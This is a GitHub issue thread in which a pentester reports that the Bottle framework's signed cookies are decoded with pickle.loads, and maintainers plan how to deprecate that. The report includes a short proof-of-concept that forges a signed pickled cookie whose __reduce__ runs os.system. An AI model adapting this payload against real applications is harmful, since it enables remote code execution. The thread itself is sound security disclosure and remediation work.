bottle icon indicating copy to clipboard operation
bottle copied to clipboard

Deserialization security issues when using signed cookies

Open dorneanu opened this issue 9 years ago • 5 comments

Hi,

during a pentest of a Bottlepy based application, I've noticed that when using signed cookies, cookie_decode is being called:

def cookie_decode(data, key, digestmod=None):
      """ Verify and decode an encoded string. Return an object or None."""
      data = tob(data)
      if cookie_is_encoded(data):
          sig, msg = data.split(tob('?'), 1)
          digestmod = digestmod or hashlib.sha256
          hashed = hmac.new(tob(key), msg, digestmod=digestmod).digest()
          if _lscmp(sig[1:], base64.b64encode(hashed)):
              return pickle.loads(base64.b64decode(msg))
      return None 

When the hash value of the cookie data is valid, pickle.loads() gets involved. An attacker could therefore build a cookie value like this:

[...]

secret_key = "your secret key"

# --- Exploit class to be serialized
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('ls',))

def build_exploit():
    digestmod = hashlib.sha256
    msg = base64.b64encode(cPickle.dumps(Exploit()))
    hashed = hmac.new(tob(secret_key), msg, digestmod=digestmod).digest()
    return "!%s?%s" % (base64.b64encode(hashed), msg)

In this case build_exploit() will return a base64 encoded serialized string (hash value + serialized class) which will trigger the execution of os.system("ls") when being deserialized (pickle.loads()).

You can of course use this kind of attack only when you know the secret key used for the signing process.

You should definitely avoid using cPickle and use some JSON based alternatives for the serialization job.

Best regards, Victor

dorneanu avatar Oct 13 '16 12:10 dorneanu

Roadmap:

  • 0.13
    • Add a way to declare own serializers on an application.
    • Add stdlib based json serializer as an alternative to pickle.
    • Add bottle.cookie.serializer config option that default to pickle.
    • depr() if said config value is pickle with a hint that json should be used instead.
  • 0.14
    • Change bottle.cookie.serializer default to json
    • (optional) Remove pickle serializer.

Alternatively we could also introduce a Request.session variable that persist to json-cookies by default but can be extended to persist to disk via plugins, then phase out the secure-cookie functionality completely.

Pull requests are welcome.

defnull avatar Oct 13 '16 13:10 defnull

Add a way to declare own serializers on an application.

Do you have some code example how you'd implement that?

dorneanu avatar Oct 13 '16 14:10 dorneanu

Good question. Perhaps we should just hard-code the json/pickle variants for now and decide based on Request.app.config['bottle.cookie.serializer'] == 'json' which one to use. If there is really a need for pluggable serializers in the future, we can still think about a better mechanism.

Configuration on a per-app basis is always a good idea (you might want to mount a legacy app that uses pickle, next to a new app that uses json) but adding new serializers is something that can be global for all applications (as in: module space functions). Just be careful with adding any 'public' APIs (eg. functions not starting with '_' and appearing in the docs) because then it's hard to change them later.

defnull avatar Oct 13 '16 19:10 defnull

I changed my mind. New Roadmap:

  • 0.13
    • Deprecate signed cookies with non-string values. Users can jsonify their values if they really want to, or better switch to server-side sessions.
  • 0.14
    • Remove the pickle-step. Non-string values are now errors.

defnull avatar Dec 10 '16 14:12 defnull

👍

dorneanu avatar Dec 12 '16 08:12 dorneanu